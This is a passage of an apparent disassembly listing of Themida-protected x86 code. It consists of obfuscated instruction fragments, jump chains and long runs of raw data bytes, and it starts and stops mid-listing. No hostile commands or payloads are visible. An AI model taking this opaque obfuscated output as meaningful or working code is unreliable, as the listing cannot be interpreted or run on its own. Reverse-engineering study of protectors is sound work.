		dd 2F397288h, 5736B951h, 0CA211E48h, 0F1C28159h, 427C1904h
		dd 0B850DAF7h, 53E43A4Eh, 0BBE9E8D1h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53A0BF:				; CODE XREF: Themida_:00539726j
		mov	eax, 4
		add	edx, eax
		pop	eax
		add	edx, 4
		push	edx
		jmp	loc_539760
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4C38100h, 87000000h, 15C241Ch,	2434FFEEh, 4C4835Dh
		dd 0B850C601h, 0A1F5F53h, 3B9F68h, 241C8900h, 0DC156DBBh
		dd 0F7D3F75Ah, 0B6F381D3h, 11C8F09h, 0E9405BD8h, 0FFFFC2E5h
; ---------------------------------------------------------------------------


loc_53A114:				; CODE XREF: Themida_:00541F9Aj
		push	eax
		mov	eax, 6BBD12E3h
		not	eax
		jmp	loc_53ECA1
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0CBEE924h, 0CB010000h, 0A2BF5759h, 81387C4Bh, 9E6304E7h
		dd 81D7F750h, 1C4303C7h, 0E9FB0110h, 0AE1h
; ---------------------------------------------------------------------------


loc_53A148:				; CODE XREF: Themida_:00535B90j
		push	dword ptr [eax]
		sub	dword ptr [esp], 122E1868h
		pop	ecx
		add	ecx, 122E1868h
		pop	eax
		push	ebp
		mov	ebp, 70486B40h
		sub	ebp, 0FFFFFFFFh
		shr	ebp, 1
		push	esi
		push	1B2E64CCh
		jmp	loc_537F1E
; ---------------------------------------------------------------------------


loc_53A172:				; CODE XREF: Themida_:0053BA9Dj
		push	esi
		jmp	loc_539989
; ---------------------------------------------------------------------------
		dd 0B4E68h, 771DE900h, 0E3890000h, 4C381h, 0EB830000h
		dd 241C8704h, 2414895Ch, 5D3DA1BAh, 5AD6093Ah, 28B68h
		dd 24148900h, 7726E9h, 18E95600h, 0F7000003h, 25C0E9DFh
		dd 3C8B0000h, 4C48324h,	5C24048Fh, 9C2424D2h, 0FFE00FE9h
		dd 642968FFh, 32E90000h, 0B9FFFFCBh, 7C403082h,	3086F181h
		dd 0ED817C40h, 5A65381Eh, 0C581CD01h, 5A65381Eh, 4EC8359h
		dd 0B9240C89h, 2, 15E9CD01h, 5100004Fh,	0C181E189h, 4
		dd 4E981h, 0C870000h, 44E2E924h, 0E6890000h, 4C681h, 0EE810000h
		dd 4, 5C243487h, 0E9242C89h, 0FFFFCB9Ah, 5EF3315Ah, 5F5BD829h
		dd 0FFD9C7E9h, 241C89FFh, 42474FFh, 24048F5Bh, 0FFBC1AE9h
		dd 0E95155FFh, 8E5h
; ---------------------------------------------------------------------------


loc_53A254:				; CODE XREF: Themida_:005361E8j
		add	esp, 4
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		push	edx
		jmp	loc_537CE2
; ---------------------------------------------------------------------------
		dw 1C31h
		dd 241C3324h, 8124248Bh, 4C4h, 1C66E900h, 4890000h, 3F35E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53A282:				; CODE XREF: Themida_:0053B90Bj
		pop	eax
		pop	ecx
		jmp	loc_535C64
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4BB5300h, 29000000h, 0FCCE9DAh, 51580000h, 0C7684B9h
		dd 55E94974h, 5A00001Dh, 2C681h, 45E90000h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53A2B7:				; CODE XREF: Themida_:00537BFFj
		pop	esp


loc_53A2B8:				; CODE XREF: Themida_:loc_53CA59j
					; Themida_:0053E45Aj
		push	0F3Eh
		mov	[esp], ebx
		mov	eax, [esp]
		push	6EEAh
		jmp	loc_53F0F5
; ---------------------------------------------------------------------------
a2sbs		db '´2éBS',0
		align 4
a131SL		db '1<$3<$1<$é+L',0
		align 2
		dw 0EC81h
		dd 4, 68241489h, 44C3h,	0B8240489h, 21CA6956h, 0E908E0C1h
		dd 4DDEh, 4C581h, 53E90000h, 5100001Fh,	0F11A9AB9h, 0F7F18152h
		dd 8153325Ah, 31633CE1h, 8E1C143h, 5F18141h, 101402Ch
		dd 0BE5659CAh, 4, 4AADC281h, 0F2013153h, 4AADEA81h, 335E3153h
		dd 14312414h, 24143324h, 2404215Ch, 0B76FE99Ch,	0ED81FFFFh
		dd 21BFDE34h, 0FFD6A2E9h, 242C89FFh, 693FD5BDh,	0A3B8502Ah
		dd 91DA123h, 0E5C158C5h, 0CFF58103h, 57344605h,	3B27DEBFh
		dd 5FFD092Dh, 0FFFBF581h, 0EB01EF3Fh, 26A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_53A38D:				; CODE XREF: Themida_:00541047j
		add	ebp, 4
		push	3FD7h
		mov	[esp], eax
		push	ebp
		push	63D60DC7h
		pop	ebp
		not	ebp
		shr	ebp, 7
		xor	ebp, 13853E0h
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, eax
		mov	eax, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_536805
; ---------------------------------------------------------------------------


loc_53A3D7:				; CODE XREF: Themida_:0053E033j
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		xor	eax, ecx
		mov	ecx, [esp]
		jmp	loc_53A8BF
; ---------------------------------------------------------------------------
aSq		db '\éQ#',0
		dw 100h
		dd 0E95159CEh, 0FFFFD99Ah, 240C8B66h, 0CB8AE956h, 0D188FFFFh
		dd 0C88585Ah, 568BE987h, 3BD0000h, 16AF950h, 3753E9EAh
		dd 8F5F0000h, 665C2404h, 83240C89h, 0D5E904ECh,	66000006h
		dd 66243C33h, 81243C31h, 2ECh, 3C896600h, 1C876624h, 66536624h
		dd 662414F7h, 4305E95Bh, 0C2810000h, 2,	8904EC83h, 74FF2414h
		dd 98E90424h, 0B5FFFFE3h, 6AED80F5h, 0C005E5C0h, 0C58007EDh
		dd 820E934h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53A476:				; CODE XREF: Themida_:0053DE16j
		add	ebx, 0A24296ECh
		push	6917h
		jmp	loc_537BA5
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0E9F76624h, 4AF36866h, 0FFEEA7E9h, 240C87FFh, 0FFD15CE9h
		dd 0C8B66FFh, 26B16824h, 34890000h, 0ED4FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53A4AE:				; CODE XREF: Themida_:005389EEj
		add	esi, 4
		add	esi, 4
		jmp	loc_538E49
; ---------------------------------------------------------------------------


loc_53A4BC:				; CODE XREF: Themida_:00539198j
		pop	edx
		jmp	loc_54101D
; ---------------------------------------------------------------------------
		dw 0FAE9h
		dd 57FFFFB5h, 803936BFh, 644BBE2Dh, 0FE316008h,	0C9C3815Fh
		dd 8172245Fh, 86003BEBh, 81F3297Eh, 86003BC3h, 31CFE97Eh
		dd 0D0000000h, 54E9852Ch, 0E900005Fh, 0FFFFB5C5h, 4EB81h
		dd 0A6680000h, 89000017h, 0E9241Ch, 57000046h, 0C781E789h
		dd 4, 0DFCE9h
		db 0
; ---------------------------------------------------------------------------


loc_53A51D:				; CODE XREF: Themida_:00540503j
		sub	edx, 33480C14h
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp


loc_53A52F:				; CODE XREF: Themida_:loc_538187j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_53ED25
; ---------------------------------------------------------------------------


loc_53A546:				; CODE XREF: Themida_:0053FA3Cj
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_537C0E
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 68000000h,	2D0Bh, 0BF243C89h, 3AE261E9h, 33C968h
		dd 24048900h, 7ABCE9h, 243C8900h, 0E9505F5Dh, 0FFFFDA9Dh
; ---------------------------------------------------------------------------


loc_53A584:				; CODE XREF: Themida_:0053988Cj
		pop	ecx
		jmp	loc_535E31
; ---------------------------------------------------------------------------


loc_53A58A:				; CODE XREF: Themida_:00539B77j
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5379E5
; ---------------------------------------------------------------------------
		dd 191BF57h, 95BD1C0Fh,	0E91C0F01h, 2EEDh, 31240433h, 4332404h
		dd 24248B24h, 9C240408h, 0FFB504E9h, 23E951FFh,	8B00004Ah
		dd 0C481240Ch, 4, 0F01CFE05h, 15A2E96Eh, 0FF510000h, 8B042474h
		dd 0C483240Ch, 24048F04h, 8724248Bh, 248B241Ch,	37EAE924h
		dd 0C4810000h, 4, 0FFD3D0E9h, 0E1B850FFh, 2D7BAE09h, 31F07F1Fh
		dd 0D8F7D0F7h, 93E9D0F7h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53A613:				; CODE XREF: Themida_:00540CB5j
		push	ecx
		jmp	loc_539888
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 240C8966h, 4F7CE9h, 45636800h, 2C890000h, 1D53BD24h
		dd 814D50C0h, 0C01D50F5h, 143FE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53A63E:				; CODE XREF: Themida_:0053E182j
		pop	eax
		mov	ecx, edx
		jmp	loc_538E09
; ---------------------------------------------------------------------------
		dw 2C31h
		dd 242C3324h, 2404D25Ch, 0B46BE99Ch, 0BA52FFFFh, 4, 4245401h
		dd 0E924148Bh, 4C53h, 1213CA81h, 0EA8174E8h, 52BDC38Ah
		dd 0C15AD701h, 9FE906EFh, 0B1FFFFBDh, 54E9535Ch, 5EFFFFEAh
		dd 34FFC201h, 0C4835824h, 4C28304h, 8B241487h, 0F1F72424h
		dd 689268h, 24148900h, 16E99C50h, 81FFFFB4h, 0A1C9ACF7h
		dd 70E705A7h, 0C4E94161h, 81000010h, 286F87F1h,	81D9F71Ch
		dd 0D8696BC9h, 2EC0E916h, 0C4810000h, 4, 4C181h, 11E90000h
		dd 100004Eh, 63C381C3h,	812E7336h, 0FF39BDEBh, 0DCE9565Fh
		dd 3300004Bh, 4DE9240Ch, 0BB00000Eh, 33DE410Eh,	5E87F381h
		dd 0EBE94203h, 8900002Fh, 4C681E6h, 0E9000000h,	0FFFFD9DCh
; ---------------------------------------------------------------------------


loc_53A718:				; CODE XREF: Themida_:005400ADj
		shr	ecx, 6
		push	edx
		push	6CF6h
		mov	[esp], ebx
		push	edi
		jmp	loc_53B645
; ---------------------------------------------------------------------------
		dw 0EA29h
		dd 0FBBE565Dh, 81784042h, 0F21D03E6h, 0F8F68155h, 813DEE4Fh
		dd 5D75C6F6h, 2551E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53A74A:				; CODE XREF: Themida_:00536AC4j
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, [edx]
		pop	edx
		jmp	loc_53D2BE
; ---------------------------------------------------------------------------
aBQf		db 'Íïf',0
		db 1Ah,	81h, 0C5h
		dd 1, 52A168h, 24148900h, 0FFD89DE9h, 4C681FFh,	83000000h
		dd 0E8E904C6h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53A77F:				; CODE XREF: Themida_:00542381j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5403E4
; ---------------------------------------------------------------------------
		db 0BDh, 0Ch, 55h
		dd 0B4E973F4h, 80FFFFDCh, 0D1F6A1E9h, 0E98FE980h, 0FFFFC1B7h
		dd 42474FFh, 626FE95Bh,	0B1510000h, 3E1C0B3h, 3CE980h
		dd 7782E9C8h, 0D8010000h, 53241C8Bh, 1FCA68h, 24248900h
		dd 4240481h, 5B000000h,	4C381h,	0C3810000h, 4, 147DE9h
		dd 4C08300h, 0FFC2FBE9h, 815954FFh, 4C1h, 4C18100h, 33000000h
		dd 0C31240Ch, 240C3324h, 3C85685Ch, 0C890000h, 2474FF24h
		dd 48F5904h, 0FC6CE924h, 0C181FFFFh, 75770CD2h,	0E4E0F181h
		dd 0CA09CB6Fh, 0AFBB5359h, 810CFF23h, 966F8DF3h, 0DDF38106h
		dd 15A0B19h, 0D3015BDAh, 8124148Bh, 4C4h, 0E9D32900h, 0FFFFC127h
; ---------------------------------------------------------------------------


loc_53A850:				; CODE XREF: Themida_:00537143j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_53F23B
; ---------------------------------------------------------------------------


loc_53A86A:				; CODE XREF: Themida_:0053BFEAj
		xor	ebp, 564A5F94h
		jmp	loc_541759
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0C2h
		dd 4D76524Ah, 8106EDC1h, 526A84CDh, 6CE58111h, 81132173h
		dd 0EA5811E5h, 1F0BE92Ah, 0E9500000h, 379Ch
; ---------------------------------------------------------------------------


loc_53A89C:				; CODE XREF: Themida_:00540BD9j
		mov	ecx, 2B8362CFh
		jmp	loc_53765E
; ---------------------------------------------------------------------------
		dw 71BAh
		dd 14DB534h, 0BA525AD0h, 41B1087Ch, 5E66E281h, 0E3E9315Fh
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53A8BF:				; CODE XREF: Themida_:0053A3E4j
		add	esp, 4
		push	esi
		mov	esi, 21AB082Eh
		and	eax, esi
		pop	esi
		jmp	loc_53F727
; ---------------------------------------------------------------------------


loc_53A8D3:				; CODE XREF: Themida_:005398F5j
		or	edx, ecx
		jmp	loc_539693
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 240C8904h, 1B9h, 1C4F0900h, 8B2434FFh, 0C483240Ch, 5E545604h
		dd 0FFC3C4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53A8F9:				; CODE XREF: Themida_:0053CE55j
		mov	eax, 725F19C2h
		jmp	loc_539D6F
; ---------------------------------------------------------------------------


loc_53A903:				; CODE XREF: Themida_:00539AAEj
		shr	eax, 0Ah
		xor	eax, ecx
		jmp	loc_53CFF5
; ---------------------------------------------------------------------------
		db 1, 0EAh, 8Bh
		dd 0C483242Ch, 0D16EE904h, 0E181FFFFh, 456951D3h, 0FC03BD55h
		dd 0E9291BD2h, 0FFB62BE9h, 89665CFFh, 0DEB62414h, 5A66F588h
		dd 0A5B55153h, 0EF2883B7h, 77AFE959h, 0D8000000h, 116CE9h
		dd 20A56800h, 0BAE90000h, 5D00002Ah, 2EE5E381h,	0EB816A38h
		dd 68102EC1h, 875BDD01h, 0FF5C242Ch, 0C8B2434h,	4C48324h
		dd 81E28952h, 4C2h, 22C56800h, 34890000h, 4BE24h, 0F2010000h
		dd 0E92434FFh, 0FFFFB2B7h, 0F45DF381h, 0DA29C9F2h, 2454015Bh
		dd 2C815A04h, 9474F024h, 0B113E96Eh, 0E983FFFFh, 240C8704h
		dd 0FFB21FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53A9B9:				; CODE XREF: Themida_:00541D8Cj
		shr	ecx, 7
		or	ecx, 77174DAEh
		jmp	loc_53E1D9
; ---------------------------------------------------------------------------


loc_53A9C7:				; CODE XREF: Themida_:00537C62j
		xor	esi, 0B7B1F305h
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_53CD2F
; ---------------------------------------------------------------------------
		dw 0C768h
		dd 0E900003Bh, 709h, 0C788D0F6h, 0F8865866h, 47E9C786h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53A9F3:				; CODE XREF: Themida_:00539A57j
		push	ebx
		push	628C6446h
		pop	ebx
		sub	ebx, 0CED9F5D9h
		mov	ebp, ebx
		pop	ebx
		sub	ebp, 71FC024Dh
		sub	ebp, eax
		add	ebp, 71FC024Dh
		pop	eax
		not	ebp
		inc	ebp
		or	ebp, 292D5969h
		xor	ebp, 38340584h
		not	ebp
		sub	ebp, 69470E4Eh
		sub	ecx, ebp
		jmp	loc_537C72
; ---------------------------------------------------------------------------


loc_53AA30:				; CODE XREF: Themida_:0053F5B3j
		xor	eax, ebx
		jmp	loc_54236E
; ---------------------------------------------------------------------------
aFqESP		db 'fQ±¥(ÎéµP',0
		align 2
		dw 74FFh
		dd 9BE90424h, 1FFFFDBh,	26402DD8h, 0B6830EBh, 8900007Ch
		dd 0EEE92434h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53AA5F:				; CODE XREF: Themida_:0053F2E6j
		xor	esi, 2B3E2557h
		mov	ebp, esi
		jmp	loc_5388F4
; ---------------------------------------------------------------------------
		dd 67EBBF57h, 0FB014A11h, 27C9E9h, 4C28100h, 83000000h
		dd 148704EAh, 4895C24h,	0A9E95324h, 59000008h, 0FFFC26E9h
		dd 0E8E95DFFh, 66000014h, 0E924048Bh, 4506h, 24048B66h
		dd 4EC81h, 0BE90000h, 1FFFFF5h,	5E042474h, 0D924E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53AABE:				; CODE XREF: Themida_:0053ED46j
		mov	[esp], edi
		push	7597h
		mov	[esp], ebx
		jmp	loc_537B15
; ---------------------------------------------------------------------------


loc_53AACE:				; CODE XREF: Themida_:0053C021j
		push	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		mov	edi, edx
		pop	edx
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		push	7E1Ah
		mov	[esp], esi
		push	ebp
		mov	ebp, 3D7153B7h
		add	[esp+4], ebp
		jmp	loc_5377CC
; ---------------------------------------------------------------------------
		dd 53240489h, 90B0C2B3h, 23F5E9h, 81585C00h, 2C3h, 241C3300h
		dd 33241C31h, 0A4E9241Ch, 0FF000010h, 505A2434h, 0B9E9E089h
		dd 100004Bh, 240C8BCBh,	607CE9h, 4B900h, 52E90000h, 89000014h
		dd 6852242Ch, 72C011A1h, 74C2815Ah, 8173F542h, 0B55413EAh
		dd 5AD589E6h, 0E95DEF01h, 3184h, 83243C8Bh, 79B904C4h
		dd 1DC9DE3h, 0B422E9D9h, 3924FFFFh, 0FFDEDFE9h,	24248BFFh
		dd 0E92434FFh, 0FFFFDF10h, 0E9E78957h, 1570h, 0BA241489h
		dd 53C317CEh, 0C317D0B8h, 0D8B4E953h, 0E981FFFFh, 796B2D63h
		dd 6FBD555Fh, 8114D503h, 0D5036DEDh, 8BE90114h,	0C483242Ch
		dd 240C8704h, 6624248Bh, 8324048Bh, 1C8904ECh, 81E38924h
		dd 4C3h, 4EB8300h, 0E9241C87h, 6C7Dh, 5166D800h, 0E904EC83h
		dd 42DBh, 8324148Bh, 0E95304C4h, 0FFFFE47Ah, 0E92C77FFh
		dd 0FFFFAEC1h
; ---------------------------------------------------------------------------


loc_53AC00:				; CODE XREF: Themida_:0053DD0Fj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	[edi+24h], eax
		pop	eax


loc_53AC0B:				; CODE XREF: Themida_:00541CFFj
		push	edx
		push	5A7Dh
		mov	[esp], ebx
		push	769h
		mov	[esp], esi
		push	eax
		mov	eax, 628E21F9h
		mov	esi, eax
		jmp	loc_54046B
; ---------------------------------------------------------------------------
		db 5Fh,	87h, 1Ch
		dd 8B665C24h, 33E92404h, 66000017h, 0E9240C8Bh,	0FFFFAF7Ch
; ---------------------------------------------------------------------------


loc_53AC40:				; CODE XREF: Themida_:0053B284j
		xor	esi, [esp]
		jmp	loc_541F8F
; ---------------------------------------------------------------------------
		dd 24048B66h, 8904EC83h, 0EC812404h, 4,	0E9242489h, 6649h
		dd 4B24BB53h, 0D829547Dh, 83241C8Bh, 0D02904C4h, 7D4B2405h
		dd 0FF72E954h, 5351FFFFh, 0DD88C388h, 59EE885Bh, 4885E9h
		db 0
; ---------------------------------------------------------------------------


loc_53AC89:				; CODE XREF: Themida_:0053F4CBj
		push	7205h
		mov	[esp], esi
		jmp	loc_53E320
; ---------------------------------------------------------------------------
		dw 0F580h
a9s@		db '9é',1Bh,'@',0
		align 2
		dw 0C181h
		dd 6C3E4996h, 0E981D901h, 6C3E4996h, 663CC181h,	0C181216Ch
		dd 3EF44212h, 0E9241C8Bh, 0FFFFC087h, 117E781h,	0E97C07h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53ACCB:				; CODE XREF: Themida_:00539EDDj
		pop	ecx
		push	54B1h
		mov	[esp], edi
		mov	edi, 1C5E6BEAh
		xor	eax, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_53C205
; ---------------------------------------------------------------------------
		dd 7589F181h, 0CF01787Dh, 0B9515A59h, 40254A29h, 0E906E1C1h
		dd 5F5Fh
; ---------------------------------------------------------------------------


loc_53AD18:				; CODE XREF: Themida_:00537C0Fj
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_53DD14
; ---------------------------------------------------------------------------


loc_53AD26:				; CODE XREF: Themida_:0053B246j
		mov	eax, 5E307715h
		and	ebx, eax
		pop	eax
		jmp	loc_53FC75
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5E08950h, 4,	405h, 0F0E95000h, 81000073h, 0E25108E9h
		dd 81D1015Fh, 0E25108C1h, 0F2685A5Fh, 8900002Fh, 0FDE92434h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53AD63:				; CODE XREF: Themida_:0053FE55j
		pop	esp
		mov	[esp], esi
		push	esp
		jmp	loc_53DA5D
; ---------------------------------------------------------------------------
		db 1, 0D5h, 81h
		dd 147154C5h, 24148B1Ah, 0E904C483h, 43A6h, 7333E959h
		dd 0AD2C0000h, 0BCE9C300h, 81000024h, 560ADFC1h, 52E90178h
		dd 0F855A8BAh, 1BF28137h, 0E9460B16h, 4E0Fh
; ---------------------------------------------------------------------------


loc_53ADA8:				; CODE XREF: Themida_:0053842Aj
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_53C571
; ---------------------------------------------------------------------------
		dd 875AD601h, 8F5C2434h, 248B2404h, 24040924h, 0C49CE99Ch
		dd 0A0DFFFFh, 0E945F44Dh, 701Bh, 0A7368h, 241C8900h, 0EC815B54h
		dd 4, 0B8240489h, 4, 2D46EB81h,	0E0E9068Dh, 66FFFFC9h
		dd 0E9240489h, 0FFFFACADh
; ---------------------------------------------------------------------------


loc_53AE14:				; CODE XREF: Themida_:0053E548j
		add	ebp, 4
		sub	ebp, 2
		jmp	loc_539348
; ---------------------------------------------------------------------------


loc_53AE25:				; CODE XREF: Themida_:0053F034j
		mov	ecx, 4C040D61h
		sub	esp, 4
		mov	[esp], ecx
		xchg	edi, [esp]
		jmp	loc_540A14
; ---------------------------------------------------------------------------
aRh@ESg		db 'Rh@-e~ég*',0
		align 2
		dw 0E952h
		dd 0FFFFC787h
; ---------------------------------------------------------------------------


loc_53AE4C:				; CODE XREF: Themida_:00535DB8j
		dec	eax
		shl	eax, 8
		sub	eax, 1A475DFCh
		add	esi, eax
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_537BFC
; ---------------------------------------------------------------------------


loc_53AE63:				; CODE XREF: Themida_:0053BFACj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	7985h
		mov	[esp], esi
		jmp	loc_53CBA4
; ---------------------------------------------------------------------------


loc_53AE77:				; CODE XREF: Themida_:0053E2E3j
		push	4D3Ch
		mov	[esp], edi
		jmp	loc_53DB5F
; ---------------------------------------------------------------------------


loc_53AE84:				; CODE XREF: Themida_:0053BD32j
		inc	edx
		sub	edx, 5902501h
		mov	ebx, edx
		pop	edx
		push	ebp
		mov	ebp, ebx
		mov	esi, ebp
		pop	ebp
		pop	ebx
		jmp	loc_53F0ED
; ---------------------------------------------------------------------------
aItxysdk	db 'ˆâXYé¤k',0
		dw 8900h
		dd 0F9B9240Ch, 2968B479h, 78E959C8h, 66FFFFC5h,	53240C8Bh
		dd 24E7E9h
		db 0
; ---------------------------------------------------------------------------


loc_53AEBD:				; CODE XREF: Themida_:0053C517j
		not	edx
		xchg	edx, ecx
		shr	ecx, 4
		jmp	loc_5373DD
; ---------------------------------------------------------------------------
		align 2
		dw 5BFEh
		dd 8B66F300h, 0C4832414h, 0C400E902h, 0CE31FFFFh, 0E9F08959h
		dd 0FFFFD627h
; ---------------------------------------------------------------------------


loc_53AEE4:				; CODE XREF: Themida_:00538B60j
		mov	[esp], ebp
		push	3D7153B7h
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		pop	ecx
		pop	ebp
		add	edi, 2153319Ah
		jmp	loc_541D63
; ---------------------------------------------------------------------------
		db 29h
		dd 0C3015AD3h, 6C1E6852h, 0E95A2EBEh, 6D96h, 0E904C483h
		dd 0FFFFDF02h, 0E924248Bh, 0FFFFAB9Dh, 703E68BAh, 66F2817Bh
		dd 4A3F5F2Fh, 0EEF7C281h, 0D189BBD0h, 0E9CA015Ah, 3E7Fh
		dd 4C481h, 0D8310000h, 1063E95Bh, 0F7660000h, 58662414h
		dd 2E8C166h, 66D0F766h,	0E99CFF05h, 1C7Fh, 1C27CF81h, 514F0B38h
		dd 0E25D9CB9h, 9CC9815Ch, 0D12E0701h, 0D1F741E1h, 0FFC736E9h
		dd 240489FFh, 4055854h,	83000000h, 148904ECh, 2BA24h, 0D0010000h
		dd 7B8C685Ah, 4890000h,	2474FF24h, 2434FF04h, 4C48158h
		dd 8F000000h, 665C2404h, 52240C8Bh, 0C3685A54h,	0E900000Ah
		dd 4C01h, 24048966h, 50512FB4h,	0C48068B4h, 5B06E9FFh
		dd 1CF70000h, 0E2E99C24h, 0BBFFFFAAh, 6AEC5A8Dh, 25DFEB81h
		dd 0E3D11F53h, 66FDEB81h, 0F7431F8Dh, 0EE04E9DBh, 2859FFFFh
		dd 0AD0AE9C3h, 0CEFEFFFFh, 3A8C68h, 24048900h, 0D02AB252h
		dd 0F6DAF6E2h, 0E035E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53B01A:				; CODE XREF: Themida_:0053C3EBj
		sub	esp, 2
		mov	[esp], bx
		jmp	loc_53D2B7
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 4B9h, 8BCA2900h, 0C481240Ch,	4, 5C241487h, 0FFC5D1E9h
		dd 0D0E9D0FFh, 0B75366E1h, 66F92871h, 8BC8205Bh, 0C483240Ch
		dd 479C6804h, 1C890000h, 4EC8324h, 81242489h, 42404h, 0EDE90000h
		dd 6600005Fh, 83240C8Bh, 2C8904ECh, 57E58924h, 4EC81h
		dd 2C890000h, 44206824h, 4D5D51BFh, 5302EDC1h, 2992E9h
		dd 8BE95F00h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53B09F:				; CODE XREF: Themida_:005374D5j
		mov	esi, 21DE77CEh
		add	esi, 58A0C0F8h
		push	ebp
		mov	ebp, 1AA6118Dh
		add	ebp, 697E1CA1h
		jmp	loc_53B9E6
; ---------------------------------------------------------------------------
		db 0BDh
		dd 2, 2C8BEE01h, 4C48324h, 5C243487h, 24048B66h, 4EC81h
		dd 0C890000h, 31E7E924h, 0DE300000h, 3AEFE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53B0E6:				; CODE XREF: Themida_:0053B894j
		add	esi, eax
		jmp	loc_53C011
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 8904EC83h, 4BF243Ch,	89000000h, 3C68E9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53B102:				; CODE XREF: Themida_:00537F19j
		mov	ebp, 68CA2BEEh
		jmp	loc_53DD35
; ---------------------------------------------------------------------------
		dd 4C38159h, 87000000h,	875C241Ch, 248B2434h, 0F9F76624h
		dd 56366866h, 24148966h, 6ABDE9h, 5AD00100h, 0FA458D05h
		dd 2DF82910h, 10FA458Dh, 4A34A92Dh, 3ABC0523h, 34FF753Bh
		dd 0C4835F24h, 0B72CE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53B152:				; CODE XREF: Themida_:0053E4FFj
		push	edi
		jmp	loc_540BA4
; ---------------------------------------------------------------------------
aSsA		db 'Sé',9,'a',0
		align 2


loc_53B15E:				; CODE XREF: Themida_:0053DCDCj
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_54116F
; ---------------------------------------------------------------------------
		db 1
		dd 315A5EF5h, 55575DE8h, 0B257A7BDh, 8B5F5506h,	0C483242Ch
		dd 5CBA5204h, 0E939BE34h, 0FFFFD339h
; ---------------------------------------------------------------------------


loc_53B18C:				; CODE XREF: Themida_:0053E41Bj
		sub	dword ptr [esp+4], 7C2E1BCFh
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_541D32
; ---------------------------------------------------------------------------


loc_53B19D:				; CODE XREF: Themida_:00538127j
		push	ecx
		mov	ecx, 6AC82ABAh
		or	ebx, ecx
		pop	ecx
		shr	ebx, 1
		jmp	loc_5403B2
; ---------------------------------------------------------------------------
		db 0C1h, 0EBh, 8
		dd 0F381DBF7h, 0FF0069E3h, 575BDA01h, 0C781E789h, 4, 4EF81h
		dd 0FF570000h, 0E9042474h, 3CD0h, 1623E956h, 0CB010000h
		dd 0FFFF2BE9h, 3AED81FFh, 19E7272h, 0B23DE9EBh,	8B66FFFFh
		dd 0E950240Ch, 0FFFFAC86h
; ---------------------------------------------------------------------------


loc_53B1F8:				; CODE XREF: Themida_:0053ED2Dj
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		sub	esp, 4
		mov	[esp], esi
